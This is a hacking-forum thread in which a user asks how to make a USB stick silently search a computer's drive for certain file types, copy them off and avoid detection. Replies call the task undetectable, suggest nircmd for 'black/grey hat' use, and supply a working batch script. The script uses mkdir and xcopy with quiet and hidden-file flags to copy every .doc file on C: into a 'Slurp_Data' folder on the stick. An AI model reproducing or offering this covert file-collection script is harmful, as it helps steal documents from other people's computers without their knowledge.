Jump to content

Simple goal,simple task ?


Senior Juan
 Share

Recommended Posts

Hey guys,these usb hacks are awsome.I have a simple task that i want to perform,I just want when i insert my usb stick to a computer,to search for specific type of files in the computer's hard drive and copy them to the usb,just that.Is something like this possible ? This kind of task will run udetected or will it trigger an alarm ? Thanks in advance.

Link to comment
Share on other sites

Hey guys,these usb hacks are awsome.I have a simple task that i want to perform,I just want when i insert my usb stick to a computer,to search for specific type of files in the computer's hard drive and copy them to the usb,just that.Is something like this possible ? This kind of task will run udetected or will it trigger an alarm ? Thanks in advance.

You can search from specific type of files. The task is undetectable and you can find the solution reading the forum...

The filtering and copying can be done with just a batch file. But, you will only be able to do it in one/two directories. If this is black/grey hat, you are gonna need something like nircmd.

Not only able to do it in one/two directories... You can search from the entire hdd. nircmd is not needed (also you can use it), you can program it to make the work invisible, it not depends on what white/grey/black hat you do, but the way you program it and use it.

Link to comment
Share on other sites

This code should search C,find .doc files and copy them to the specified directory,what is the mistake ?

:: Desktop files
mkdir ..\..\Documents\logfiles\%computername%\Slurp_Data\Desktop\
xcopy "C:\*.doc" "..\..\Documents\logfiles\%computername%\Slurp_Data\Desktop\" /s /c /q /r /h /y

Link to comment
Share on other sites

There's no mistake. It's a piece from pocketknife and the only you have to do is defining the path you want to copy the files to.

Previous to creating the path %computername%\Slurp_Data\Desktop, you must create the ..\..\Documents folder, the \logfiles folder, the %computername% folder, the Slurp_Data folder...

Use one mkdir for each folder...

mkdir ..\..\Documents
mkdir ..\..\Documents\logfiles
mkdir ..\..\Documents\logfiles\%computername%
mkdir ..\..\Documents\logfiles\%computername%\Slurp_Data
mkdir ..\..\Documents\logfiles\%computername%\Slurp_Data\Desktop
xcopy "C:\*.doc" "..\..\Documents\logfiles\%computername%\Slurp_Data\Desktop\" /s /c /q /r /h /y

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...